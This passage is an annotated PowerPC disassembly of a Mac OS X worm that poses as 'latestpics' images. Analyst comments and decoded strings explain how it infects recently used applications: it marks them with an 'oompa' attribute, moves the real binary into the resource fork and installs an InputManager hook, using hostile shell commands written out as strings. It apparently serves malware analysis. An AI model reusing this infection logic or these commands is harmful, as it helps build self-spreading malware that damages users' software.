lwz r0,0(r2) 0x00002a98 : cmpwi cr7,r0,40 0x00002a9c : beq- cr7,0x2ac4 0x00002aa0 : bl 0x3620 0x00002aa4 : lwz r2,60(r30) 0x00002aa8 : lwz r2,0(r2) 0x00002aac : addi r0,r2,16 0x00002ab0 : stw r0,60(r30) 0x00002ab4 : lwz r2,60(r30) 0x00002ab8 : lwz r0,0(r2) 0x00002abc : cmpwi cr7,r0,0 0x00002ac0 : bne+ cr7,0x2a44 0x00002ac4 : lwz r0,64(r30) 0x00002ac8 : li r3,301 0x00002acc : mr r4,r0 0x00002ad0 : bl 0x36e0 0x00002ad4 : lwz r0,56(r30) 0x00002ad8 : cmpwi cr7,r0,0 0x00002adc : beq- cr7,0x2b10 0x00002ae0 : lwz r2,56(r30) 0x00002ae4 : lwz r0,12(r2) 0x00002ae8 : cmpwi cr7,r0,0 0x00002aec : beq- cr7,0x2b08 0x00002af0 : lwz r2,56(r30) 0x00002af4 : lwz r0,12(r2) 0x00002af8 : lwz r3,56(r30) 0x00002afc : mr r12,r0 0x00002b00 : mtctr r12 0x00002b04 : bctrl 0x00002b08 : lwz r3,56(r30) 0x00002b0c : bl 0x36c0 0x00002b10 : lwz r1,0(r1) 0x00002b14 : lwz r0,8(r1) 0x00002b18 : mtlr r0 0x00002b1c : lmw r30,-8(r1) 0x00002b20 : blr 0x00002b24 : mflr r0 0x00002b28 : bcl- 20,4*cr7+so,0x2b2c 0x00002b2c : mflr r12 0x00002b30 : addis r12,r12,0 0x00002b34 : mtlr r0 0x00002b38 : addi r12,r12,2964 0x00002b3c : mtctr r12 0x00002b40 : bctr 0x00002b44 : mflr r0 0x00002b48 : bcl- 20,4*cr7+so,0x2b4c 0x00002b4c : mflr r12 0x00002b50 : addis r12,r12,0 0x00002b54 : mtlr r0 0x00002b58 : addi r12,r12,2964 0x00002b5c : mtctr r12 0x00002b60 : bctr 0x00002b64 : mflr r0 0x00002b68 : bcl- 20,4*cr7+so,0x2b6c 0x00002b6c : mflr r12 0x00002b70 : addis r12,r12,0 0x00002b74 : mtlr r0 0x00002b78 : addi r12,r12,2740 0x00002b7c : mtctr r12 0x00002b80 : bctr 0x00002b84 : mflr r0 0x00002b88 : bcl- 20,4*cr7+so,0x2b8c 0x00002b8c : mflr r12 0x00002b90 : addis r12,r12,0 0x00002b94 : mtlr r0 0x00002b98 : addi r12,r12,2804 0x00002b9c : mtctr r12 0x00002ba0 : bctr 0x00002ba4 <__darwin_gcc3_preregister_frame_info+0>: mflr r0 0x00002ba8 <__darwin_gcc3_preregister_frame_info+4>: stmw r30,-8(r1) 0x00002bac <__darwin_gcc3_preregister_frame_info+8>: stw r0,8(r1) 0x00002bb0 <__darwin_gcc3_preregister_frame_info+12>: stwu r1,-96(r1) 0x00002bb4 <__darwin_gcc3_preregister_frame_info+16>: mr r30,r1 0x00002bb8 <__darwin_gcc3_preregister_frame_info+20>: bcl- 20,4*cr7+so,0x2bbc <__darwin_gcc3_preregister_frame_info+24> 0x00002bbc <__darwin_gcc3_preregister_frame_info+24>: mflr r31 0x00002bc0 <__darwin_gcc3_preregister_frame_info+28>: bl 0x36a0 0x00002bc4 <__darwin_gcc3_preregister_frame_info+32>: addis r2,r31,0 0x00002bc8 <__darwin_gcc3_preregister_frame_info+36>: lwz r2,23904(r2) 0x00002bcc <__darwin_gcc3_preregister_frame_info+40>: lwz r0,8(r2) 0x00002bd0 <__darwin_gcc3_preregister_frame_info+44>: stw r0,56(r30) 0x00002bd4 <__darwin_gcc3_preregister_frame_info+48>: lwz r0,56(r30) 0x00002bd8 <__darwin_gcc3_preregister_frame_info+52>: cmpwi cr7,r0,0 0x00002bdc <__darwin_gcc3_preregister_frame_info+56>: beq- cr7,0x2bf4 <__darwin_gcc3_preregister_frame_info+80> 0x00002be0 <__darwin_gcc3_preregister_frame_info+60>: lwz r2,56(r30) 0x00002be4 <__darwin_gcc3_preregister_frame_info+64>: lhz r0,4(r2) 0x00002be8 <__darwin_gcc3_preregister_frame_info+68>: clrlwi r0,r0,16 0x00002bec <__darwin_gcc3_preregister_frame_info+72>: cmplwi cr7,r0,2 0x00002bf0 <__darwin_gcc3_preregister_frame_info+76>: bgt- cr7,0x2c0c <__darwin_gcc3_preregister_frame_info+104> 0x00002bf4 <__darwin_gcc3_preregister_frame_info+80>: addis r2,r31,0 0x00002bf8 <__darwin_gcc3_preregister_frame_info+84>: addi r3,r2,-672 0x00002bfc <__darwin_gcc3_preregister_frame_info+88>: bl 0x3640 0x00002c00 <__darwin_gcc3_preregister_frame_info+92>: addis r2,r31,0 0x00002c04 <__darwin_gcc3_preregister_frame_info+96>: addi r3,r2,-440 0x00002c08 <__darwin_gcc3_preregister_frame_info+100>: bl 0x3660 0x00002c0c <__darwin_gcc3_preregister_frame_info+104>: lwz r1,0(r1) 0x00002c10 <__darwin_gcc3_preregister_frame_info+108>: lwz r0,8(r1) 0x00002c14 <__darwin_gcc3_preregister_frame_info+112>: mtlr r0 0x00002c18 <__darwin_gcc3_preregister_frame_info+116>: lmw r30,-8(r1) 0x00002c1c <__darwin_gcc3_preregister_frame_info+120>: blr 0x00002c20 <__darwin_gcc3_preregister_frame_info+124>: mflr r0 0x00002c24 <__darwin_gcc3_preregister_frame_info+128>: bcl- 20,4*cr7+so,0x2c28 <__darwin_gcc3_preregister_frame_info+132> 0x00002c28 <__darwin_gcc3_preregister_frame_info+132>: mflr r12 0x00002c2c <__darwin_gcc3_preregister_frame_info+136>: addis r12,r12,0 0x00002c30 <__darwin_gcc3_preregister_frame_info+140>: mtlr r0 0x00002c34 <__darwin_gcc3_preregister_frame_info+144>: addi r12,r12,2616 0x00002c38 <__darwin_gcc3_preregister_frame_info+148>: mtctr r12 0x00002c3c <__darwin_gcc3_preregister_frame_info+152>: bctr 0x00002c40 <__darwin_gcc3_preregister_frame_info+156>: mflr r0 0x00002c44 <__darwin_gcc3_preregister_frame_info+160>: bcl- 20,4*cr7+so,0x2c48 <__darwin_gcc3_preregister_frame_info+164> 0x00002c48 <__darwin_gcc3_preregister_frame_info+164>: mflr r12 0x00002c4c <__darwin_gcc3_preregister_frame_info+168>: addis r12,r12,0 0x00002c50 <__darwin_gcc3_preregister_frame_info+172>: mtlr r0 0x00002c54 <__darwin_gcc3_preregister_frame_info+176>: addi r12,r12,2552 0x00002c58 <__darwin_gcc3_preregister_frame_info+180>: mtctr r12 0x00002c5c <__darwin_gcc3_preregister_frame_info+184>: bctr 0x00002c60 <__darwin_gcc3_preregister_frame_info+188>: mflr r0 0x00002c64 <__darwin_gcc3_preregister_frame_info+192>: bcl- 20,4*cr7+so,0x2c68 <__darwin_gcc3_preregister_frame_info+196> 0x00002c68 <__darwin_gcc3_preregister_frame_info+196>: mflr r12 0x00002c6c <__darwin_gcc3_preregister_frame_info+200>: addis r12,r12,0 0x00002c70 <__darwin_gcc3_preregister_frame_info+204>: mtlr r0 0x00002c74 <__darwin_gcc3_preregister_frame_info+208>: addi r12,r12,2616 0x00002c78 <__darwin_gcc3_preregister_frame_info+212>: mtctr r12 0x00002c7c <__darwin_gcc3_preregister_frame_info+216>: bctr //parameter 1 is string pointer, parameter 2 is value to xor it with, returns pointer to string 0x00002c80 : mflr r0 0x00002c84 : stmw r28,-16(r1) 0x00002c88 : mr r28,r4 0x00002c8c : mr r29,r3 0x00002c90 : stw r0,8(r1) 0x00002c94 : stwu r1,-80(r1) 0x00002c98 : bl 0x37c0 0x00002c9c : addi r3,r3,1 0x00002ca0 : bl 0x3720 0x00002ca4 : mr r4,r29 0x00002ca8 : mr r30,r3 0x00002cac : bl 0x3760 0x00002cb0 : li r2,0 0x00002cb4 : b 0x2cc4 0x00002cb8 : xor r0,r0,r28 0x00002cbc : stbx r0,r30,r2 0x00002cc0 : addi r2,r2,1 0x00002cc4 : lbzx r0,r30,r2 0x00002cc8 : extsb r0,r0 0x00002ccc : cmpwi cr7,r0,0 0x00002cd0 : bne+ cr7,0x2cb8 0x00002cd4 : addi r1,r1,80 0x00002cd8 : mr r3,r30 0x00002cdc : lwz r0,8(r1) 0x00002ce0 : lmw r28,-16(r1) 0x00002ce4 : mtlr r0 0x00002ce8 : blr 0x00002cec : mflr r0 0x00002cf0 : bcl- 20,4*cr7+so,0x2cf4 0x00002cf4 : stmw r25,-28(r1) 0x00002cf8 : mr r30,r4 0x00002cfc : mflr r31 0x00002d00 : mr r25,r5 0x00002d04 : stw r0,8(r1) 0x00002d08 : stwu r1,-1120(r1) 0x00002d0c : lwz r3,0(r4) 0x00002d10 : addi r4,r1,56 0x00002d14 : bl 0x37a0 0x00002d18 : cmpwi cr7,r3,0 0x00002d1c : beq- cr7,0x2dd4 0x00002d20 : addis r3,r31,0 0x00002d24 : li r4,80 0x00002d28 : addi r3,r3,3964 //"latestpics" 0x00002d2c : bl 0x2c80 0x00002d30 : li r5,1024 0x00002d34 : mr r4,r3 0x00002d38 : addi r3,r1,56 //path to this 0x00002d3c : bl 0x3740 //checking to see if "latestpics" is in the path 0x00002d40 : mr r29,r3 0x00002d44 : addi r3,r1,56 //path to this 0x00002d48 : bl 0x320c 0x00002d4c : bl 0x2df0 0x00002d50 : addi r3,r1,56 0x00002d54 : bl 0x3100 0x00002d58 : cmpwi cr7,r29,0 0x00002d5c : bne- cr7,0x2ddc //if "latestpics" was not in the path 0x00002d60 : lwz r3,0(r30) 0x00002d64 : bl 0x37c0 0x00002d68 : addi r3,r3,4 //this is where it is only allocating 4 bytes more than the path length for the target path buffer 0x00002d6c : bl 0x3720 0x00002d70 : mr. r26,r3 0x00002d74 : beq- 0x2ddc 0x00002d78 : lwz r3,0(r30) 0x00002d7c : bl 0x37c0 0x00002d80 : li r4,105 0x00002d84 : addi r27,r3,4 0x00002d88 : addis r3,r31,0 0x00002d8c : addi r3,r3,3976 //"%s%s" 0x00002d90 : bl 0x2c80 0x00002d94 : lwz r28,0(r30) 0x00002d98 : mr r29,r3 0x00002d9c : addis r3,r31,0 0x00002da0 : li r4,105 0x00002da4 : addi r3,r3,3984 //"/..namedfork/rsrc" 0x00002da8 : bl 0x2c80 0x00002dac : mr r4,r27 0x00002db0 : mr r7,r3 0x00002db4 : mr r5,r29 0x00002db8 : mr r3,r26 0x00002dbc : mr r6,r28 0x00002dc0 : bl 0x33b0 //this doesn't appear to actually work as the buffer allocated is only 4 bytes longer than the path, so only fits "/.." and the NUL on the end 0x00002dc4 : mr r3,r26 0x00002dc8 : mr r4,r30 0x00002dcc : mr r5,r25 0x00002dd0 : bl 0x3780 0x00002dd4 : li r3,0 0x00002dd8 : b 0x2ddc 0x00002ddc : addi r1,r1,1120 0x00002de0 : lwz r0,8(r1) 0x00002de4 : lmw r25,-28(r1) 0x00002de8 : mtlr r0 0x00002dec : blr /* copies out some data to /tmp/hook untars it tries to copy it to ~/Library/InputManagers */ 0x00002df0 : mflr r0 0x00002df4 : bcl- 20,4*cr7+so,0x2df8 0x00002df8 : stmw r29,-12(r1) 0x00002dfc : li r4,80 0x00002e00 : mflr r31 0x00002e04 : stw r0,8(r1) 0x00002e08 : stwu r1,-80(r1) 0x00002e0c : addis r2,r31,0 0x00002e10 : addi r29,r2,3744 //"/tmp/hook" 0x00002e14 : mr r3,r29 0x00002e18 : bl 0x2c80 0x00002e1c : addis r4,r31,0 0x00002e20 : addi r4,r4,3756 0x00002e24 : bl 0x37e0 0x00002e28 : mr. r30,r3 0x00002e2c : beq- 0x2f04 0x00002e30 : addis r3,r31,0 0x00002e34 : li r5,3860 0x00002e38 : mr r6,r30 0x00002e3c : li r4,1 0x00002e40 : addi r3,r3,4636 //address 0x4014, length 0xF14 0x00002e44 : bl 0x3800 0x00002e48 : mr r3,r30 0x00002e4c : bl 0x3880 0x00002e50 : addis r3,r31,0 0x00002e54 : li r4,80 0x00002e58 : addi r3,r3,3760 //"/usr/bin/tar -zxf /tmp/hook -C /tmp" 0x00002e5c : bl 0x2c80 0x00002e60 : bl 0x3840 0x00002e64 : li r4,80 0x00002e68 : mr r3,r29 //"/tmp/hook" 0x00002e6c : bl 0x2c80 0x00002e70 : bl 0x3820 0x00002e74 : bl 0x3860 0x00002e78 : cmpwi cr7,r3,0 0x00002e7c : bne- cr7,0x2eb8 0x00002e80 : addis r3,r31,0 0x00002e84 : li r4,80 0x00002e88 : addi r3,r3,3796 0x00002e8c : bl 0x2c80 0x00002e90 : bl 0x38a0 0x00002e94 : addis r3,r31,0 0x00002e98 : li r4,80 0x00002e9c : addi r3,r3,3820 0x00002ea0 : bl 0x2c80 0x00002ea4 : bl 0x3840 0x00002ea8 : addis r3,r31,0 0x00002eac : addi r3,r3,3864 0x00002eb0 : li r4,80 0x00002eb4 : b 0x2eec 0x00002eb8 : addis r3,r31,0 0x00002ebc : li r4,80 0x00002ec0 : addi r3,r3,3912 //"~/Library/InputManagers" 0x00002ec4 : bl 0x2c80 0x00002ec8 : bl 0x38a0 0x00002ecc : addis r3,r31,0 0x00002ed0 : li r4,80 0x00002ed4 : addi r3,r3,3936 //"/bin/rm -rf ~/Library/InputManagers/apphook" 0x00002ed8 : bl 0x2c80 0x00002edc : bl 0x3840 0x00002ee0 : addis r3,r31,0 0x00002ee4 : addi r3,r3,3980 //"/bin/mv -f /tmp/apphook ~/Library/InputManagers" 0x00002ee8 : li r4,80 0x00002eec : bl 0x2c80 0x00002ef0 : addi r1,r1,80 0x00002ef4 : lwz r0,8(r1) 0x00002ef8 : lmw r29,-12(r1) 0x00002efc : mtlr r0 0x00002f00 : b 0x3840 0x00002f04 : addi r1,r1,80 0x00002f08 : lwz r0,8(r1) 0x00002f0c : lmw r29,-12(r1) 0x00002f10 : mtlr r0 0x00002f14 : blr /* constructs path to executable within bundle calls getxattr to look for am attribute named "oompa" if it doesn't exist set one named "oompa" value "loompa" copy executable to resource fork of virus copy virus to executable */ 0x00002f18 : stmw r25,-28(r1) 0x00002f1c : mr. r28,r4 0x00002f20 : mflr r0 0x00002f24 : bcl- 20,4*cr7+so,0x2f28 0x00002f28 : mr r26,r3 0x00002f2c : mflr r31 0x00002f30 : stw r0,8(r1) 0x00002f34 : stwu r1,-3536(r1) 0x00002f38 : beq- 0x30e8 0x00002f3c : cmpwi cr7,r3,0 0x00002f40 : beq- cr7,0x30e8 0x00002f44 : mr r3,r28 0x00002f48 : bl 0x37c0 0x00002f4c : li r9,0 0x00002f50 : addi r2,r3,-1 0x00002f54 : mtctr r3 0x00002f58 : add r4,r28,r2 0x00002f5c : b 0x2fb0 0x00002f60 : lbz r0,0(r4) 0x00002f64 : extsb r0,r0 0x00002f68 : cmpwi cr7,r0,46 0x00002f6c : beq- cr7,0x2fa4 0x00002f70 : cmpwi cr7,r0,47 0x00002f74 : bne+ cr7,0x2fa8 0x00002f78 : cmpwi cr7,r9,0 0x00002f7c : bne- cr7,0x2f84 0x00002f80 : mr r9,r3 0x00002f84 : subf r2,r2,r9 0x00002f88 : addi r30,r1,160 0x00002f8c : addi r29,r2,-1 0x00002f90 : addi r4,r4,1 0x00002f94 : mr r3,r30 0x00002f98 : mr r5,r29 0x00002f9c : bl 0x3a00 //copy app name minus extension 0x00002fa0 : b 0x2fc8 0x00002fa4 : mr r9,r2 0x00002fa8 : addi r2,r2,-1 0x00002fac : addi r4,r4,-1 0x00002fb0 : bdnz+ 0x2f60 0x00002fb4 : cmpwi cr7,r9,0 0x00002fb8 : beq- cr7,0x30e8 0x00002fbc : subf r2,r2,r9 0x00002fc0 : addi r30,r1,160 0x00002fc4 : addi r29,r2,-1 0x00002fc8 : addi r25,r1,56 0x00002fcc : li r0,0 0x00002fd0 : add r2,r25,r29 0x00002fd4 : addis r3,r31,0 0x00002fd8 : stb r0,104(r2) 0x00002fdc : li r4,80 0x00002fe0 : addi r3,r3,3724 //"%s/Contents/MacOS/%s" 0x00002fe4 : addi r27,r1,416 0x00002fe8 : bl 0x2c80 0x00002fec : mr r5,r28 0x00002ff0 : mr r4,r3 0x00002ff4 : mr r6,r30 0x00002ff8 : mr r3,r27 0x00002ffc : bl 0x345c //create path to binary in bundle 0x00003000 : mr r3,r27 0x00003004 : addi r4,r1,64 0x00003008 : bl 0x3900 0x0000300c : cmpwi cr7,r3,0 0x00003010 : bne- cr7,0x30e8 0x00003014 : addis r2,r31,0 0x00003018 : mr r3,r27 0x0000301c : addi r29,r2,3748 //"oompa" 0x00003020 : li r5,0 0x00003024 : mr r4,r29 0x00003028 : li r6,0 0x0000302c : li r7,0 0x00003030 : li r8,0 0x00003034 : bl 0x3940 0x00003038 : cmpwi cr7,r3,0 0x0000303c : bgt+ cr7,0x30e8 0x00003040 : addis r9,r31,0 0x00003044 : li r8,0 0x00003048 : addi r2,r9,3816 0x0000304c : lwz r9,3816(r9) 0x00003050 : lhz r11,5(r2) 0x00003054 : mr r5,r25 //"loompa" 0x00003058 : lbz r0,4(r2) 0x0000305c : mr r4,r29 //"oompa" 0x00003060 : li r6,7 0x00003064 : li r7,0 0x00003068 : mr r3,r27 0x0000306c : stw r9,56(r1) 0x00003070 : stb r0,60(r1) 0x00003074 : addi r29,r1,1440 0x00003078 : sth r11,61(r1) 0x0000307c : bl 0x39c0 0x00003080 : addis r3,r31,0 0x00003084 : li r4,80 0x00003088 : addi r3,r3,3756 //"/bin/cp '%s' '%s/..namedfork/rsrc'" 0x0000308c : bl 0x2c80 0x00003090 : mr r6,r27 0x00003094 : mr r5,r3 0x00003098 : mr r7,r26 0x0000309c : li r4,2048 0x000030a0 : mr r3,r29 0x000030a4 : bl 0x33b0 0x000030a8 : mr r3,r29 0x000030ac : bl 0x3840 0x000030b0 : addis r3,r31,0 0x000030b4 : li r4,80 0x000030b8 : addi r3,r3,3792 //"/bin/cp -f '%s' '%s'" 0x000030bc : bl 0x2c80 0x000030c0 : mr r6,r26 0x000030c4 : mr r5,r3 0x000030c8 : mr r7,r27 0x000030cc : li r4,2048 0x000030d0 : mr r3,r29 0x000030d4 : bl 0x33b0 0x000030d8 : mr r3,r29 0x000030dc : bl 0x3840 0x000030e0 : li r3,1 0x000030e4 : b 0x30ec 0x000030e8 : li r3,0 0x000030ec : addi r1,r1,3536 0x000030f0 : lwz r0,8(r1) 0x000030f4 : lmw r25,-28(r1) 0x000030f8 : mtlr r0 0x000030fc : blr /* uses Spotlight to search for apps used this month if they are not owned by uid 0 then infect them */ 0x00003100 : mflr r0 0x00003104 : bcl- 20,4*cr7+so,0x3108 0x00003108 : stmw r23,-36(r1) 0x0000310c : mr r23,r3 0x00003110 : mflr r31 0x00003114 : li r26,0 0x00003118 : stw r0,8(r1) 0x0000311c : stwu r1,-128(r1) 0x00003120 : addis r2,r31,0 0x00003124 : addis r3,r31,0 0x00003128 : lwz r2,22556(r2) 0x0000312c : addi r3,r3,3344 //"(kMDItemKind == 'Application') & (kMDItemLastUsedDate >= $time.this_month) 0x00003130 : lwz r29,0(r2) 0x00003134 : bl 0x3960 0x00003138 : mr r4,r3 0x0000313c : li r5,0 0x00003140 : li r6,0 0x00003144 : mr r3,r29 0x00003148 : bl 0x3a20 0x0000314c : li r4,1 0x00003150 : mr r27,r3 0x00003154 : bl 0x3a40 0x00003158 : mr r3,r27 0x0000315c : bl 0x39e0 0x00003160 : addis r2,r31,0 0x00003164 : addis r9,r31,0 0x00003168 : lwz r25,22552(r2) 0x0000316c : lwz r24,22560(r9) 0x00003170 : mr r28,r3 0x00003174 : li r30,0 0x00003178 : b 0x31f0 0x0000317c : mr r4,r30 0x00003180 : mr r3,r27 0x00003184 : bl 0x3980 0x00003188 : lwz r4,0(r25) //kMDItemFSOwnerUserID 0x0000318c : mr r29,r3 0x00003190 : bl 0x39a0 0x00003194 : li r4,9 //kCFNumberIntType 0x00003198 : addi r5,r1,56 0x0000319c : bl 0x38e0 0x000031a0 : lwz r0,56(r1) 0x000031a4 : cmpwi cr7,r0,0 0x000031a8 : beq+ cr7,0x31ec 0x000031ac : lwz r4,0(r24) //kMDItemPath 0x000031b0 : mr r3,r29 0x000031b4 : bl 0x39a0 0x000031b8 : mr r29,r3 0x000031bc : bl 0x3920 0x000031c0 : mr r4,r3 0x000031c4 : mr r3,r29 0x000031c8 : bl 0x38c0 0x000031cc : mr r4,r3 0x000031d0 : mr r3,r23 0x000031d4 : bl 0x2f18 0x000031d8 : cmpwi cr7,r3,0 0x000031dc : beq- cr7,0x31e4 0x000031e0 : addi r26,r26,1 0x000031e4 : cmpwi cr7,r26,4 0x000031e8 : bgt- cr7,0x31f8 0x000031ec : addi r30,r30,1 0x000031f0 : cmpw cr7,r30,r28 0x000031f4 : blt+ cr7,0x317c 0x000031f8 : addi r1,r1,128 0x000031fc : lwz r0,8(r1) 0x00003200 : lmw r23,-36(r1) 0x00003204 : mtlr r0 0x00003208 : blr /* copies self to /tmp/latestpics copies out some data to pic.gz gunzips it copies it to resource fork of /tmp/latestpics, appears to be JPEG icon deletes it sets some cat info, presumably custom icon bit tars latestpics zips latestpics renames to .gz result is /tmp/latestpics.gz */ 0x0000320c : mflr r0 0x00003210 : bcl- 20,4*cr7+so,0x3214 0x00003214 : stmw r28,-16(r1) 0x00003218 : mr r28,r3 0x0000321c : mflr r31 0x00003220 : li r4,33 0x00003224 : stw r0,8(r1) 0x00003228 : stwu r1,-1328(r1) 0x0000322c : addis r3,r31,0 0x00003230 : addi r29,r1,280 0x00003234 : addi r3,r3,3152 //"/bin/cp -f %s /tmp/latestpics" 0x00003238 : bl 0x2c80 0x0000323c : mr r6,r28 0x00003240 : mr r5,r3 0x00003244 : li r4,1024 0x00003248 : mr r3,r29 0x0000324c : bl 0x33b0 //combine cp command with path to this 0x00003250 : mr r3,r29 0x00003254 : bl 0x3840 0x00003258 : addis r3,r31,0 0x0000325c : li r4,33 0x00003260 : addi r3,r3,3184 //"/tmp/pic.gz" 0x00003264 : bl 0x2c80 0x00003268 : addis r4,r31,0 0x0000326c : addi r4,r4,2704 //0x3CA4 "w" 0x00003270 : bl 0x37e0 0x00003274 : mr. r29,r3 0x00003278 : beq- 0x329c 0x0000327c : addis r3,r31,0 0x00003280 : li r4,1 0x00003284 : li r5,14824 0x00003288 : mr r6,r29 0x0000328c : addi r3,r3,7444 //address 0x4F28, length 0x39E8 0x00003290 : bl 0x3800 0x00003294 : mr r3,r29 0x00003298 : bl 0x3880 0x0000329c : addis r3,r31,0 0x000032a0 : li r4,33 0x000032a4 : addi r3,r3,3196 //"/usr/bin/gunzip -f -q /tmp/pic.gz" 0x000032a8 : bl 0x2c80 0x000032ac : bl 0x3840 0x000032b0 : addis r3,r31,0 0x000032b4 : li r4,33 0x000032b8 : addi r3,r3,3232 //"/bin/cp /tmp/pic /tmp/latestpics/..namedfork/rsrc" 0x000032bc : bl 0x2c80 0x000032c0 : bl 0x3840 0x000032c4 : addis r3,r31,0 0x000032c8 : li r4,80 0x000032cc : addi r3,r3,3284 //"/tmp/pic" 0x000032d0 : bl 0x2c80 0x000032d4 : bl 0x3820 0x000032d8 : addis r3,r31,0 0x000032dc : li r4,33 0x000032e0 : addi r3,r3,3296 //"/tmp/latestpics" 0x000032e4 : bl 0x2c80 0x000032e8 : addi r4,r1,56 0x000032ec : li r5,0 0x000032f0 : bl 0x3a80 0x000032f4 : cmpwi cr7,r3,0 0x000032f8 : bne- cr7,0x3338 0x000032fc : addi r29,r1,136 0x00003300 : li r4,2048 0x00003304 : mr r5,r29 0x00003308 : addi r3,r1,56 0x0000330c : li r6,0 0x00003310 : li r7,0 0x00003314 : li r8,0 0x00003318 : bl 0x3ac0 0x0000331c : lbz r0,216(r1) 0x00003320 : mr r5,r29 0x00003324 : addi r3,r1,56 0x00003328 : ori r0,r0,4 0x0000332c : li r4,2048 0x00003330 : stb r0,216(r1) 0x00003334 : bl 0x3a60 0x00003338 : addis r3,r31,0 0x0000333c : li r4,80 0x00003340 : addi r3,r3,3312 //"/tmp" 0x00003344 : bl 0x2c80 0x00003348 : bl 0x3aa0 0x0000334c : addis r3,r31,0 0x00003350 : li r4,80 0x00003354 : addi r3,r3,3320 //"/usr/bin/tar -cf latestpics.tar latestpics" 0x00003358 : bl 0x2c80 0x0000335c : bl 0x3840 0x00003360 : addis r3,r31,0 0x00003364 : li r4,80 0x00003368 : addi r3,r3,3364 //"/usr/bin/gzip -f -q latestpics.tar" 0x0000336c : bl 0x2c80 0x00003370 : bl 0x3840 0x00003374 : addis r3,r31,0 0x00003378 : li r4,80 0x0000337c : addi r3,r3,3400 //"/bin/mv latestpics.tar.gz latestpics.tgz" 0x00003380 : bl 0x2c80 0x00003384 : bl 0x3840 0x00003388 : addis r3,r31,0 0x0000338c : li r4,80 0x00003390 : addi r3,r3,3444 //"/tmp/latestpics" 0x00003394 : bl 0x2c80 0x00003398 : bl 0x3820 0x0000339c : addi r1,r1,1328 0x000033a0 : lwz r0,8(r1) 0x000033a4 : lmw r28,-16(r1) 0x000033a8 : mtlr r0 0x000033ac : blr 0x000033b0 : mflr r0 0x000033b4 : bcl- 20,4*cr7+so,0x33b8 0x000033b8 : mflr r2 0x000033bc : mtlr r0 0x000033c0 : addis r12,r2,0 0x000033c4 : addi r12,r12,22080 0x000033c8 : lwz r12,0(r12) 0x000033cc : cmpwi cr7,r12,0 0x000033d0 : bne- cr7,0x3454 0x000033d4 : stmw r30,-8(r1) 0x000033d8 : stw r0,8(r1) 0x000033dc : stwu r1,-80(r1) 0x000033e0 : mr r30,r1 0x000033e4 : mr r31,r2 0x000033e8 : stw r4,108(r30) 0x000033ec : stw r5,112(r30) 0x000033f0 : stw r6,116(r30) 0x000033f4 : stw r7,120(r30) 0x000033f8 : stw r8,124(r30) 0x000033fc : stw r9,128(r30) 0x00003400 : stw r10,132(r30) 0x00003404 : stw r3,104(r30) 0x00003408 : addis r2,r31,0 0x0000340c : addi r3,r2,3040 0x00003410 : bl 0x3508 <__stub_getrealaddr> 0x00003414 : mr r12,r3 0x00003418 : addis r2,r31,0 0x0000341c : addi r2,r2,22080 0x00003420 : stw r12,0(r2) 0x00003424 : lwz r3,104(r30) 0x00003428 : lwz r10,132(r30) 0x0000342c : lwz r9,128(r30) 0x00003430 : lwz r8,124(r30) 0x00003434 : lwz r7,120(r30) 0x00003438 : lwz r6,116(r30) 0x0000343c : lwz r5,112(r30) 0x00003440 : lwz r4,108(r30) 0x00003444 : lwz r1,0(r1) 0x00003448 : lwz r0,8(r1) 0x0000344c : mtlr r0 0x00003450 : lmw r30,-8(r1) 0x00003454 : mtctr r12 0x00003458 : bctr 0x0000345c : mflr r0 0x00003460 : bcl- 20,4*cr7+so,0x3464 0x00003464 : mflr r2 0x00003468 : mtlr r0 0x0000346c : addis r12,r2,0 0x00003470 : addi r12,r12,21912 0x00003474 : lwz r12,0(r12) 0x00003478 : cmpwi cr7,r12,0 0x0000347c : bne- cr7,0x3500 0x00003480 : stmw r30,-8(r1) 0x00003484 : stw r0,8(r1) 0x00003488 : stwu r1,-80(r1) 0x0000348c : mr r30,r1 0x00003490 : mr r31,r2 0x00003494 : stw r4,108(r30) 0x00003498 : stw r5,112(r30) 0x0000349c : stw r6,116(r30) 0x000034a0 : stw r7,120(r30) 0x000034a4 : stw r8,124(r30) 0x000034a8 : stw r9,128(r30) 0x000034ac : stw r10,132(r30) 0x000034b0 : stw r3,104(r30) 0x000034b4 : addis r2,r31,0 0x000034b8 : addi r3,r2,2880 0x000034bc : bl 0x3508 <__stub_getrealaddr> 0x000034c0 : mr r12,r3 0x000034c4 : addis r2,r31,0 0x000034c8 : addi r2,r2,21912 0x000034cc : stw r12,0(r2) 0x000034d0 : lwz r3,104(r30) 0x000034d4 : lwz r10,132(r30) 0x000034d8 : lwz r9,128(r30) 0x000034dc : lwz r8,124(r30) 0x000034e0 : lwz r7,120(r30) 0x000034e4 : lwz r6,116(r30) 0x000034e8 : lwz r5,112(r30) 0x000034ec : lwz r4,108(r30) 0x000034f0 : lwz r1,0(r1) 0x000034f4 : lwz r0,8(r1) 0x000034f8 : mtlr r0 0x000034fc : lmw r30,-8(r1) 0x00003500 : mtctr r12 0x00003504 : bctr 0x00003508 <__stub_getrealaddr+0>: mflr r0 0x0000350c <__stub_getrealaddr+4>: stmw r28,-16(r1) 0x00003510 <__stub_getrealaddr+8>: mr r4,r3 0x00003514 <__stub_getrealaddr+12>: bcl- 20,4*cr7+so,0x3518 <__stub_getrealaddr+16> 0x00003518 <__stub_getrealaddr+16>: mflr r31 0x0000351c <__stub_getrealaddr+20>: stw r0,8(r1) 0x00003520 <__stub_getrealaddr+24>: li r0,95 0x00003524 <__stub_getrealaddr+28>: stwu r1,-144(r1) 0x00003528 <__stub_getrealaddr+32>: addi r3,r1,57 0x0000352c <__stub_getrealaddr+36>: stb r0,56(r1) 0x00003530 <__stub_getrealaddr+40>: bl 0x3760 0x00003534 <__stub_getrealaddr+44>: addi r3,r1,56 0x00003538 <__stub_getrealaddr+48>: mr r29,r3 0x0000353c <__stub_getrealaddr+52>: bl 0x37c0 0x00003540 <__stub_getrealaddr+56>: addis r2,r31,0 0x00003544 <__stub_getrealaddr+60>: add r10,r29,r3 0x00003548 <__stub_getrealaddr+64>: mr r30,r3 0x0000354c <__stub_getrealaddr+68>: addi r9,r2,2708 0x00003550 <__stub_getrealaddr+72>: lwz r2,2708(r2) 0x00003554 <__stub_getrealaddr+76>: lbz r0,8(r9) 0x00003558 <__stub_getrealaddr+80>: lwz r11,4(r9) 0x0000355c <__stub_getrealaddr+84>: stwx r2,r29,r3 0x00003560 <__stub_getrealaddr+88>: addis r2,r31,0 0x00003564 <__stub_getrealaddr+92>: mr r3,r29 0x00003568 <__stub_getrealaddr+96>: stb r0,8(r10) 0x0000356c <__stub_getrealaddr+100>: stw r11,4(r10) 0x00003570 <__stub_getrealaddr+104>: addi r28,r2,2720 0x00003574 <__stub_getrealaddr+108>: mr r4,r28 0x00003578 